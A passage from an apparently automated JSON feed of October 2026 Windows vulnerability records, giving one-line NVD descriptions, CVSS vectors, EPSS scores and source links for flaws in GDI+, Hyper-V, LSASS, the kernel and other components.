CVE-2026-84012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84012","type":"primary","publishedAt":"2026-10-13T19:20:51.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84012","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83934","cveId":"CVE-2026-83934","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:50.150Z","updatedAt":"2026-10-19T19:21:24.880Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83934","asOf":"2026-10-19T19:21:24.880Z"},"epss":{"probability":0.00885,"percentile":0.58975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83934","type":"primary","publishedAt":"2026-10-13T19:20:50.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83934","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83932","cveId":"CVE-2026-83932","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.833Z","updatedAt":"2026-10-26T13:13:36.970Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83932","asOf":"2026-10-26T13:13:36.970Z"},"epss":{"probability":0.00341,"percentile":0.27365,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83932","type":"primary","publishedAt":"2026-10-13T19:20:49.833Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83932","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83931","cveId":"CVE-2026-83931","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.703Z","updatedAt":"2026-10-26T13:17:30.813Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","Hyper-V","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83931","asOf":"2026-10-26T13:17:30.813Z"},"epss":{"probability":0.00307,"percentile":0.23259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83931","type":"primary","publishedAt":"2026-10-13T19:20:49.703Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83931","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83930","cveId":"CVE-2026-83930","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.570Z","updatedAt":"2026-10-26T13:27:44.830Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83930","asOf":"2026-10-26T13:27:44.830Z"},"epss":{"probability":0.00276,"percentile":0.19873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83930&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83930","type":"primary","publishedAt":"2026-10-13T19:20:49.570Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83930","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83930&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83930, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83929","cveId":"CVE-2026-83929","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.403Z","updatedAt":"2026-10-26T13:28:05.117Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83929","asOf":"2026-10-26T13:28:05.117Z"},"epss":{"probability":0.00607,"percentile":0.48753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83929","type":"primary","publishedAt":"2026-10-13T19:20:49.403Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83929","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83928","cveId":"CVE-2026-83928","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.227Z","updatedAt":"2026-10-26T13:28:29.360Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83928","asOf":"2026-10-26T13:28:29.360Z"},"epss":{"probability":0.00577,"percentile":0.4727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83928","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83928","type":"primary","publishedAt":"2026-10-13T19:20:49.227Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83928","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83927","cveId":"CVE-2026-83927","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:49.087Z","updatedAt":"2026-10-26T13:39:09.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","Microsoft Office","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83927","asOf":"2026-10-26T13:39:09.797Z"},"epss":{"probability":0.00395,"percentile":0.33428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83927","type":"primary","publishedAt":"2026-10-13T19:20:49.087Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83927","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83924","cveId":"CVE-2026-83924","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:48.570Z","updatedAt":"2026-10-26T13:50:49.493Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83924","asOf":"2026-10-26T13:50:49.493Z"},"epss":{"probability":0.00307,"percentile":0.23264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83924","type":"primary","publishedAt":"2026-10-13T19:20:48.570Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83924","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83900","cveId":"CVE-2026-83900","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:44.040Z","updatedAt":"2026-10-21T13:04:01.343Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83900","asOf":"2026-10-21T13:04:01.343Z"},"epss":{"probability":0.003,"percentile":0.22445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83900","type":"primary","publishedAt":"2026-10-13T19:20:44.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83900","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83900, scored 2026-10-25. This is a model estimate, not proof of 